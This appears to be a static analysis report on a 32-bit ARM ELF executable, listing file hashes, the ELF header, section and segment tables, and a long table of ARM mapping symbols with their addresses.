MD5:	f750374f6f367da08c054ed08076448e
SHA1:	9a1e710abec662c9651247838b24d17ca084187f
SHA256:	9ce1332d12c9848dae72de7b7c38ddf170fc30d58015e376bd770c28462f9b7e
SHA512:	5b1d785b85d6722fde1ef7e1876808d245a5a136fdce609aba08fbac7ee628560e1fc9ed22d19cd11ddb0acf2e404d80897e7b380af0072005196b011f0f5b15
SSDEEP:	3072:/xAtAOnW7MmKdUZwJbxkjbzixYwi+kJQ3XFPqM/9M6kqC:/xAtAOneAkidkjbziqn+ZXFiM/94qC
TLSH:	66E34B46FA818F03C4D527B6BAAF42493322A764D3DB73068D185FB43F86B9E0E63515
File Content Preview:	.ELF..............(.........4...........4. ...(........pxe..x...x....................................f...f...............f...f...f.......4...............f...f...f..................Q.td..................................-...L..................@-.,@...0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8194
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	5
Section Header Offset:	116352
Section Header Size:	40
Number of Section Headers:	29
Header String Table Index:	26

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Info	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0	0
.init	PROGBITS	0x80d4	0xd4	0x10	0x0	0x6	AX	0	0	4
.text	PROGBITS	0x80f0	0xf0	0x14f18	0x0	0x6	AX	0	0	16
.fini	PROGBITS	0x1d008	0x15008	0x10	0x0	0x6	AX	0	0	4
.rodata	PROGBITS	0x1d018	0x15018	0x1548	0x0	0x2	A	0	0	4
.ARM.extab	PROGBITS	0x1e560	0x16560	0x18	0x0	0x2	A	0	0	4
.ARM.exidx	ARM_EXIDX	0x1e578	0x16578	0x118	0x0	0x82	AL	2	0	4
.eh_frame	PROGBITS	0x26690	0x16690	0x4	0x0	0x3	WA	0	0	4
.tbss	NOBITS	0x26694	0x16694	0x8	0x0	0x403	WAT	0	0	4
.init_array	INIT_ARRAY	0x26694	0x16694	0x4	0x0	0x3	WA	0	0	4
.fini_array	FINI_ARRAY	0x26698	0x16698	0x4	0x0	0x3	WA	0	0	4
.jcr	PROGBITS	0x2669c	0x1669c	0x4	0x0	0x3	WA	0	0	4
.got	PROGBITS	0x266a0	0x166a0	0xa8	0x4	0x3	WA	0	0	4
.data	PROGBITS	0x26748	0x16748	0x204	0x0	0x3	WA	0	0	4
.bss	NOBITS	0x2694c	0x1694c	0x31f4	0x0	0x3	WA	0	0	4
.comment	PROGBITS	0x0	0x1694c	0x94c	0x0	0x0		0	0	1
.debug_aranges	PROGBITS	0x0	0x17298	0xc0	0x0	0x0		0	0	8
.debug_pubnames	PROGBITS	0x0	0x17358	0x213	0x0	0x0		0	0	1
.debug_info	PROGBITS	0x0	0x1756b	0x1d23	0x0	0x0		0	0	1
.debug_abbrev	PROGBITS	0x0	0x1928e	0x692	0x0	0x0		0	0	1
.debug_line	PROGBITS	0x0	0x19920	0x9c7	0x0	0x0		0	0	1
.debug_frame	PROGBITS	0x0	0x1a2e8	0x2b8	0x0	0x0		0	0	4
.debug_str	PROGBITS	0x0	0x1a5a0	0x8ca	0x1	0x30	MS	0	0	1
.debug_loc	PROGBITS	0x0	0x1ae6a	0x118f	0x0	0x0		0	0	1
.debug_ranges	PROGBITS	0x0	0x1bff9	0x558	0x0	0x0		0	0	1
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x1c551	0x16	0x0	0x0		0	0	1
.shstrtab	STRTAB	0x0	0x1c567	0x117	0x0	0x0		0	0	1
.symtab	SYMTAB	0x0	0x1cb08	0x46c0	0x10	0x0		28	656	4
.strtab	STRTAB	0x0	0x211c8	0x2329	0x0	0x0		0	0	1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
EXIDX	0x16578	0x1e578	0x1e578	0x118	0x118	4.4812	0x4	R	0x4	.ARM.exidx
LOAD	0x0	0x8000	0x8000	0x16690	0x16690	6.1762	0x5	R E	0x8000	.init .text .fini .rodata .ARM.extab .ARM.exidx
LOAD	0x16690	0x26690	0x26690	0x2bc	0x34b0	3.9136	0x6	RW	0x8000	.eh_frame .tbss .init_array .fini_array .jcr .got .data .bss
TLS	0x16694	0x26694	0x26694	0x0	0x8	0.0000	0x4	R	0x4	.tbss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Symbols

Name	Section Name	Value	Size	Symbol Type	Symbol Bind	Symbol Visibility	Ndx
	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
	.symtab	0x80d4	0	SECTION	<unknown>	DEFAULT	1
	.symtab	0x80f0	0	SECTION	<unknown>	DEFAULT	2
	.symtab	0x1d008	0	SECTION	<unknown>	DEFAULT	3
	.symtab	0x1d018	0	SECTION	<unknown>	DEFAULT	4
	.symtab	0x1e560	0	SECTION	<unknown>	DEFAULT	5
	.symtab	0x1e578	0	SECTION	<unknown>	DEFAULT	6
	.symtab	0x26690	0	SECTION	<unknown>	DEFAULT	7
	.symtab	0x26694	0	SECTION	<unknown>	DEFAULT	8
	.symtab	0x26694	0	SECTION	<unknown>	DEFAULT	9
	.symtab	0x26698	0	SECTION	<unknown>	DEFAULT	10
	.symtab	0x2669c	0	SECTION	<unknown>	DEFAULT	11
	.symtab	0x266a0	0	SECTION	<unknown>	DEFAULT	12
	.symtab	0x26748	0	SECTION	<unknown>	DEFAULT	13
	.symtab	0x2694c	0	SECTION	<unknown>	DEFAULT	14
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	15
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	16
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	17
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	18
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	19
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	20
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	21
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	22
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	23
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	24
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	25
$a	.symtab	0x80d4	0	NOTYPE	<unknown>	DEFAULT	1
$a	.symtab	0x1d008	0	NOTYPE	<unknown>	DEFAULT	3
$a	.symtab	0x80e0	0	NOTYPE	<unknown>	DEFAULT	1
$a	.symtab	0x1d014	0	NOTYPE	<unknown>	DEFAULT	3
$a	.symtab	0x80f0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8134	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8194	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x81d0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8524	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x9050	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xa140	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xa19c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xa298	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xa328	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xa544	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xa5b0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xa620	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xa964	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xaff8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xb614	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xbdc8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xc4c0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xcb6c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xce0c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xd2f8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xd730	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xdd9c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xddf0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xde40	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xdee4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xdf0c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xdfe0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xead8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xeb00	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xebd4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xf64c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xfbc8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xfbe0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xfd40	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xfdac	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xffec	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1077c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x107d8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10840	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1097c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10a58	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10a80	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10f88	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10fb0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11078	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x111d8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11f24	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12328	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12dd0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12df4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12e94	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12f34	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13b7c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13ba4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13bec	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13c10	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13c34	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13ca0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13ddc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13e38	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13ecc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13f5c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13fdc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14070	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1416c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14280	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x143c4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x143d8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14470	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14564	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14578	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14658	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14690	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x146d4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14714	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14758	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x147dc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1481c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x148a8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x148d8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x149e8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14ab8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14b7c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14c2c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14d14	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14d34	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14d70	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14d80	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14d90	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14e30	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14e58	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14e9c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14f10	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14f54	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14f98	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1500c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15050	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15098	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x150d8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1511c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1518c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x151d4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1525c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x152a0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15310	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1535c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x153e4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1542c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15470	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x154c0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x154d4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15598	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15604	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15fb4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x160f4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x164b4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16954	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16994	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16abc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16ad4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16b78	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16c30	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16cf0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16d94	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16e24	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16efc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16ff4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x170e0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x171a4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x172f0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17914	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17ce0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17d78	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17dc0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17eb0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17fe4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1803c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18044	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18074	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x180cc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x180d4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18104	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1815c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18164	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18194	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x181ec	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x181f4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18220	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x182a8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18384	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18444	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18498	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x184f0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x188dc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18958	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18984	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18a0c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18a14	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18a20	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18a30	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18a40	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18a80	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18ae8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18b4c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18bec	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18c18	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18c2c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18c40	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18c54	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18c7c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18cb4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18cf4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18d08	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18d4c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18d8c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18dcc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18e2c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18e98	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18eac	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19024	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19110	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x194b4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x197e4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19804	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19c64	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19ce4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19e48	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19e78	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19fbc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1a0d8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1a388	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1a734	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1a860	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1a900	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1ad90	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1adb0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1ae10	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1af00	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1afec	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1b030	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1b080	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1b0cc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1b0f0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1b16c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1b264	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1b2dc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1b344	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1b598	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1b5a4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1b5dc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1b634	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1b68c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1b698	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1b7e0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1b838	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1b914	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1b944	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1b9e8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1ba0c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1ba4c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1babc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1bb08	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1bb54	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1bb5c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1bb60	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1bb8c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1bb98	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1bba4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1bdc4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1bf14	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1bf30	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1bf90	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1bffc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c0b4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c0d4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c218	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c760	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c768	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c770	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c778	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c834	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1c878	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1cf8c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1cfd4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x8128	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x26698	0	NOTYPE	<unknown>	DEFAULT	10
$d	.symtab	0x8180	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x26694	0	NOTYPE	<unknown>	DEFAULT	9
$d	.symtab	0x81c4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x84e8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x9010	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xa290	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xa324	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xa934	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xaff4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xb610	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xbdc4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xc4bc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xcb68	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xd2f4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xd72c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xdd8c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xdde8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xdf08	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xdfdc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xeab8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xeafc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xebd0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xf630	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xfbc4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xfbd8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xfd34	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xfda8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0xffe8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x10740	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x26748	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x2674c	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x26750	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x26754	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x107c8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x10830	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x10964	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x10a48	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x10fac	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x11074	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x111cc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x11efc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x121dc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1d7ab	0	NOTYPE	<unknown>	DEFAULT	4
$d	.symtab	0x1d7b4	0	NOTYPE	<unknown>	DEFAULT	4
$d	.symtab	0x12df0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12e8c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12f2c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x13a48	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x26758	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0x20	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0x26	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0x2c	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0x4c	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0x53	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0x14468	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x14554	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x14648	0	NOTYPE	<unknown>	DEFAULT	2
